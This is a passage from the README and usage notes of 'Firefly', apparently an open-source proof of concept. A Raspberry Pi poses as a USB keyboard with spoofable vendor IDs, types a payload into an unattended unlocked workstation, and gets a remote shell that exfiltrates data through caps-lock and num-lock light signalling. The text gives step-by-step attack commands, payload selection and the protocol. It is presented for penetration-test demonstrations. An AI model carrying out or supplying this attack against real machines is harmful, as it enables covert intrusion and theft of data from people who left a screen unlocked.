2ca627126e49c152beb1bf7abd7122ce076dcc65 58 | ```` 59 | 60 | Enable dwc2 overlay and add modules: 61 | 62 | ```` 63 | echo "dtoverlay=dwc2" >> /boot/config.txt 64 | echo "dwc2" >> /etc/modules 65 | echo "libcomposite" >> /etc/modules 66 | ```` 67 | 68 | Download Firefly. 69 | 70 | ```` 71 | cd 72 | git clone 73 | cd firefly 74 | ```` 75 | 76 | Done... 77 | 78 | (Reboot before you try the attack.) 79 | 80 | # Attack 81 | 82 | (This has been tested on a laptop with a clean Cent OS 7 + python-xlib installed.) 83 | 84 | Connect Firefly to the victim workstation. Connect the usb-cable to the usb-port marked "USB", not the one marked "PWR". Wait until it boots and then log in on it and change to the firefly folder. 85 | 86 | ```` 87 | cd ~/firefly 88 | ```` 89 | 90 | ## Create usb hid gadget device. 91 | (If this cause a segfault and errors in the kernel, downgrade to 4.4.49+. (see above)) 92 | ```` 93 | ./1.setup 94 | ```` 95 | On your Firefly-device you should get /dev/hidg0 and the victim should see something like this in /var/log/messages. 96 | ```` 97 | May 15 21:09:14 vince kernel: usb 2-1: new high-speed USB device number 95 using ehci-pci 98 | May 15 21:09:14 vince kernel: usb 2-1: New USB device found, idVendor=0525, idProduct=a4ac 99 | May 15 21:09:14 vince kernel: usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 100 | May 15 21:09:14 vince kernel: usb 2-1: Product: Firefly keyboard 101 | May 15 21:09:14 vince kernel: usb 2-1: Manufacturer: Yownas 102 | May 15 21:09:14 vince kernel: usb 2-1: SerialNumber: b8:27:eb:12:34:56 103 | May 15 21:09:14 vince kernel: input: Yownas Firefly keyboard as /devices/pci0000:00/0000:00:1d.7/usb2/2-1/2-1:1.0/input/input20 104 | May 15 21:09:14 vince kernel: hid-generic 0003:0525:A4AC.0007: input,hidraw0: USB HID v1.01 Keyboard [Yownas Firefly keyboard] on usb-0000:00:1d.7-1/input0 105 | ```` 106 | 107 | ## Push payload. 108 | ```` 109 | ./2.payload 110 | ```` 111 | This needs to be done while the victim leaves the screen unlocked and isn't looking. This takes ~10 seconds. 112 | 113 | 114 | ## Run firefly-client 115 | ```` 116 | ./3.firefly 117 | ```` 118 | If everything works fine you should get a (very slow) shell on the victim. 119 | 120 | Ctrl-Q to exit the client, remote shell keeps on running. You may reconnect later. 121 | If you exit the remote shell or kill the process firefly started, the payload will also exit. 122 | 123 | # "Protocol" 124 | 125 | The protocol used is rather simple, see pseudo-code below. It is rather naive and have no error checking. But it works ok for a PoC. Server and client use the same protocol, only difference is that the victim machine starts with the listening part instead of send. 126 | 127 | ```` 128 | If there is data to send 129 | Get one byte 130 | Send each bit as num-lock (0) or caps-lock (1) 131 | Send a scroll-lock to signal end of transmission 132 | 133 | Listen for num-lock and caps-lock until we see a scroll-lock 134 | If we have 8 bits 135 | assemble character and print/parse it 136 | 137 | Return to start 138 | ```` 139 | 140 | # Target audience 141 | 142 | Who is this tool created for? Mainly it was to get an old idea I had stuck in my head out. Can you really use the caps-lock light to exfiltrate data? ...apparently you can. 143 | 144 | If you are a penetration-tester that finds Firefly useful when having a demonstration for customers, I would love to get an e-mail telling me how it went and how they reacted. (yownas@gmail.com) (Merch is also ok, coffee-mugs, t-shirts (size XL) and stickers.) :) 145 | 146 | If you are an evil government agency using this to steal secret documents and/or launch-codes I understand that sending me an e-mail might be against regulations, but maybe an anonymous post-card is ok? (If you really are an evil government agency you probably already know who I am and where I live.) 147 | -------------------------------------------------------------------------------- /USAGE.md: -------------------------------------------------------------------------------- 1 | # (Slightly more) advanced usage 2 | 3 | ## 1.setup 4 | 5 | ### Select keyboard 6 | 7 | There are a couple of provided presets for some keyboards in the DATA folder. 8 | To use them simply source one to set idVendor and idProduct to mimic that keyboard: 9 | ```` 10 | source DATA/cfg- 11 | ```` 12 | 13 | Or if you want to full controll you can export the environment variables yourself before running ./1.setup: 14 | ```` 15 | export MANUFACTURER="Evil corp." 16 | export SERIAL="666" 17 | export IDVENDOR="0x0525" 18 | export IDPRODUCT="0xa4ac" 19 | export PRODUCT="0" 20 | export CONFIG_NAME="Configuration 1" # Only used localy on the Firefly-device, you probably won't need to change this 21 | ```` 22 | Setting variables to "0" will make 1.setup ignore them, an empty string will cause the deault values to be used. 23 | 24 | ## 2.payload 25 | 26 | ### Select PAYLOAD 27 | 28 | You can select different payloads and the method they are delivered to the victim. 29 | ```` 30 | export PAYLOAD=linux/gnome-terminal/python 31 | ```` 32 | 33 | The payload name should be in the format //[]. 34 | 35 | ### Select remote shell/command 36 | 37 | ./2.payload takes an argument of which shell/command to start at the victim. (May not work on all payloads.) 38 | 39 | ```` 40 | export PAYLOAD=linux/gnome-terminal/python 41 | ./2.payload /usr/bin/tcsh 42 | ```` 43 | 44 | ## 3.firefly 45 | 46 | As default Firefly will act as if stdin/stdout is a tty, to make things prettier if you run a remote shell. If you want to disable it set NOTTY to 1. 47 | ```` 48 | export NOTTY=1 49 | ```` 50 | 51 | If you want to save a session you can set FLOG to the path of your logfile. 52 | ```` 53 | export FLOG=/tmp/firefly.log 54 | ```` 55 | --------------------------------------------------------------------------------